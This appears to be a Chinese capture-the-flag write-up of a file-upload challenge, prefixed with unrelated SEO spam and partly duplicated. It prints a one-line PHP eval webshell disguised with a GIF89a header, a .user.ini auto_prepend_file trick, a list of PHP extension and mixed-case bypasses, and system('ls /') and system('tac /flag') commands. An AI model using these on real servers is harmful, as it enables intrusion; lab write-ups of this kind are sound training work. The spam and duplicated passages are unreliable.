怎样建网站赚钱,贵州seo和网络推广,客套企业名录搜索,网页设计与制作实训报告摘要信息收集
题目告诉我们是一道upload#xff0c;也就是文件上传漏洞题目。 进入界面#xff0c;是一个灯泡#xff0c;将鼠标放在图标上就会出现文件上传的相应位置#xff1a;
思路
文件上传漏洞#xff0c;先看看有没有前端校验。 在js源码中找到了前端校验#xff…信息收集
题目告诉我们是一道upload也就是文件上传漏洞题目。 进入界面是一个灯泡将鼠标放在图标上就会出现文件上传的相应位置
思路
文件上传漏洞先看看有没有前端校验。 在js源码中找到了前端校验 也就是只能上传jpg,png,gif后缀的文件。
先准备一个最基本的一句话木马
//shell.php
GIF89a //这里是为了绕过可能存在的文件头检测
?php eval($_POST[1])?修改为.png后缀上传并抓包修改回php后缀 注意左上角返回的内容是nonono~ Bad file
此时有两种可能一种是后端对文件后缀进行了过滤第二种是对文件内容进行了过滤。
如果我们不修改后缀将.png文件直接上传 会发现左上角显示上传成功。 Upload Success! Look here~ ./uplo4d/00bf23e130fa1e525e332ff03dae345d.png 说明后端对文件内容没有被过滤被过滤的是后缀名。
既然后缀名被过滤我们考虑上传.user.ini文件将成功上传的文件以PHP代码形式解析
//.user.ini
GIF89a
auto_prepend_file00bf23e130fa1e525e332ff03dae345d.png同样是修改为.png绕过前端校验与MIME验证再抓包改回来。 Upload Success! Look here~ ./uplo4d/7356ccb66a890ccd51ee57dc56bb134c.ini 这里注意.user.ini文件名上传后被修改为7356ccb66a890ccd51ee57dc56bb134c.ini那么.user.ini就不能发挥作用了所以上传.user.ini配置文件的方法失败。
这里学习一个新知识点 在Apache中以下后缀名都会被服务器解析为PHP文件
phtml
php
php3
php4
php5
inc
//下面是对上面的大小写混写绕过
pHtml
pHp
pHp3
pHp4
pHp5
iNc我们抓包测试一下这些后缀名看看有没有能上传成功的 发现html和php的大小写混写都能绕过。
先试了php的大小写混写确实能上传但是访问时依然显示解析出错。 还是上传了phtml文件进入后发现成功访问
1system(ls /);
1system(tac /flag);得到flag.
总结
学到了Apache下的php后缀名解析漏洞今后在面对后端后缀名过滤时又多了一种解决方法。